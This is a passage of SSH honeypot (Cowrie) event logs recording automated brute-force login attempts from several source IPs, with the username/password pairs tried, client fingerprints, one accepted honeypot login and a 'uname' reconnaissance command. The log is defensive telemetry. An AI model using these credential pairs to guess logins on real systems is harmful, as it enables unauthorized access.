0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:48.790490Z","src_ip":"5.196.136.131","session":"860b5a3f527b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:49.058026Z","src_ip":"5.196.136.131","session":"860b5a3f527b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.224.230","src_port":36674,"dst_ip":"10.17.0.5","dst_port":22,"session":"880b04132372","protocol":"ssh","message":"New connection: 202.29.224.230:36674 (10.17.0.5:22) [session: 880b04132372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:49.151552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:49.155644Z","src_ip":"202.29.224.230","session":"880b04132372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:49.413179Z","src_ip":"202.29.224.230","session":"880b04132372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:50.141672Z","src_ip":"5.196.136.131","session":"860b5a3f527b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2021","message":"login attempt [root/unitedstates2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:50.159538Z","src_ip":"202.29.224.230","session":"880b04132372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:51.414031Z","src_ip":"202.29.224.230","session":"880b04132372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18516,"dst_ip":"10.17.0.5","dst_port":22,"session":"50d924095718","protocol":"ssh","message":"New connection: 5.196.136.131:18516 (10.17.0.5:22) [session: 50d924095718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:53.117188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:53.120325Z","src_ip":"5.196.136.131","session":"50d924095718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:53.198582Z","src_ip":"5.196.136.131","session":"50d924095718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:53.433044Z","src_ip":"5.196.136.131","session":"50d924095718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:54.512912Z","src_ip":"5.196.136.131","session":"50d924095718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":42429,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d5fe28ccc4f","protocol":"ssh","message":"New connection: 5.196.136.131:42429 (10.17.0.5:22) [session: 2d5fe28ccc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:57.622790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:57.625509Z","src_ip":"5.196.136.131","session":"2d5fe28ccc4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:57.701595Z","src_ip":"5.196.136.131","session":"2d5fe28ccc4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:57.933945Z","src_ip":"5.196.136.131","session":"2d5fe28ccc4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:37:59.013708Z","src_ip":"5.196.136.131","session":"2d5fe28ccc4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":56092,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e97fd2212d8","protocol":"ssh","message":"New connection: 162.215.213.210:56092 (10.17.0.5:22) [session: 0e97fd2212d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:00.174085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:00.178266Z","src_ip":"162.215.213.210","session":"0e97fd2212d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:00.260341Z","src_ip":"162.215.213.210","session":"0e97fd2212d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"render456","message":"login attempt [root/render456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:00.511751Z","src_ip":"162.215.213.210","session":"0e97fd2212d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":36414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b490393a1e4e","protocol":"ssh","message":"New connection: 5.196.136.131:36414 (10.17.0.5:22) [session: b490393a1e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.098209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.108221Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.175458Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.454075Z","src_ip":"162.215.213.210","session":"0e97fd2212d8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.471632Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.675400Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.678762Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.758565Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:02.764308Z","src_ip":"5.196.136.131","session":"b490393a1e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54910,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba99215337b","protocol":"ssh","message":"New connection: 5.196.136.131:54910 (10.17.0.5:22) [session: aba99215337b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:06.543184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:06.545646Z","src_ip":"5.196.136.131","session":"aba99215337b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:06.621695Z","src_ip":"5.196.136.131","session":"aba99215337b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:06.850847Z","src_ip":"5.196.136.131","session":"aba99215337b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:07.929885Z","src_ip":"5.196.136.131","session":"aba99215337b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":35338,"dst_ip":"10.17.0.5","dst_port":22,"session":"7348136d2051","protocol":"ssh","message":"New connection: 132.148.155.138:35338 (10.17.0.5:22) [session: 7348136d2051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:10.908096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:10.969157Z","src_ip":"132.148.155.138","session":"7348136d2051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:11.048384Z","src_ip":"132.148.155.138","session":"7348136d2051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":60958,"dst_ip":"10.17.0.5","dst_port":22,"session":"f085426f8fd0","protocol":"ssh","message":"New connection: 5.196.136.131:60958 (10.17.0.5:22) [session: f085426f8fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:11.055026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:11.063673Z","src_ip":"5.196.136.131","session":"f085426f8fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:11.142975Z","src_ip":"5.196.136.131","session":"f085426f8fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"georgia","password":"Tbilisi#Ethereum@S3cur3","message":"login attempt [georgia/Tbilisi#Ethereum@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:11.245811Z","src_ip":"132.148.155.138","session":"7348136d2051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:38:11.380874Z","src_ip":"5.196.136.131","session":"f085426f8fd0","protocol":"ssh"}
